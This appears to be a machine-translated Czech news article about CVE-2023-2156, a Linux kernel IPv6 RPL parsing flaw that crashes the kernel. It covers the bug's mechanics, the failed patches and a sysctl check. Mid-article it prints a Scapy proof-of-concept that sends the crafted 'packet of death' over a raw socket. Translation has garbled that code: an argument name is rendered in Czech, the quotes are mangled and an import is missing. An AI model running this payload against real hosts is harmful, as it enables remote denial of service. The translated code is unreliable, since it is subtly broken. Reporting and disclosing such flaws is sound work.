0denní zranitelnost linuxového zásobníku IPv6, která umožňuje vzdálené selhání jádra

Byly zveřejněny informace o neopravené (0-denní) zranitelnosti (CVE-2023-2156) v linuxovém jádře, která umožňuje zastavit systém odesláním speciálně navržených paketů IPv6 (packet-of-death). Problém nastává až při povolení podpory protokolu RPL (Routing Protocol for Low-Power and Lossy Networks), který je standardně v distribucích zakázán a používá se především na embedded zařízeních pracujících v bezdrátových sítích s vysokou ztrátou paketů.

Zranitelnost je způsobena nesprávným zpracováním externích dat v kódu pro analýzu protokolu RPL, což vede k selhání příkazu a jádro přejde do stavu paniky. Při umístění dat získaných z analýzy hlavičky paketu IPv6 RPL do struktury k_buff (Socket Buffer), pokud je pole CmprI nastaveno na 15, pole Segleft na 1 a CmprE na 0, 48bajtový vektor s adresami se dekomprimuje. na 528 bajtů a objeví se situace, kdy paměť přidělená pro vyrovnávací paměť nestačí. V tomto případě funkce skb_push, která se používá k vkládání dat do struktury, kontroluje nesouměřitelnost mezi velikostí dat a vyrovnávací paměti a generuje stav paniky, aby se zabránilo zápisu za hranici vyrovnávací paměti.

Příklad exploitu: # Použijeme Scapy k vytvoření paketu ze scapy.all import * import socket # Použijte IPv6 z vašeho LAN rozhraní DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Pro odeslání paketu používáme sockety sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Vytvořit paket # Typ = 3 z něj udělá RPL paket # Adresy obsahují 3 adresy, ale protože CmprI je 15, # každý oktet z prvních dvou adres je považováno za komprimovanou adresu # Segleft = 1 pro spuštění zesílení # lastentry = 0xf0 nastaví CmprI na 15 a CmprE na 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(typ=3, adresy=[“a8 :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Pošlete tento zlý paket sockfd.sendto(bytes(p), (DST_ADDR, 0))

Je pozoruhodné, že vývojáři jádra byli o zranitelnosti informováni již v lednu 2022 a během posledních 15 měsíců se pokusili problém třikrát opravit, přičemž vydali opravy v září 2022, říjnu 2022 a dubnu 2023, ale pokaždé byly opravy nestačí a zranitelnost nebylo možné reprodukovat. Nakonec se projekt ZDI, který koordinoval práci na opravě zranitelnosti, rozhodl vydat podrobné informace o zranitelnosti, aniž by čekal, až bude funkční oprava dostupná v jádře.

Zranitelnost tedy stále zůstává neopravena. Zejména patch obsažený v jádře 6.4-rc2 je neúčinný. Uživatelům se doporučuje zkontrolovat, zda se na jejich systémech nepoužívá protokol RPL, což lze provést pomocí příkazu sysctl -a | grep -i rpl_seg_enabled

Zdroj: opennet.ru

Přidat komentář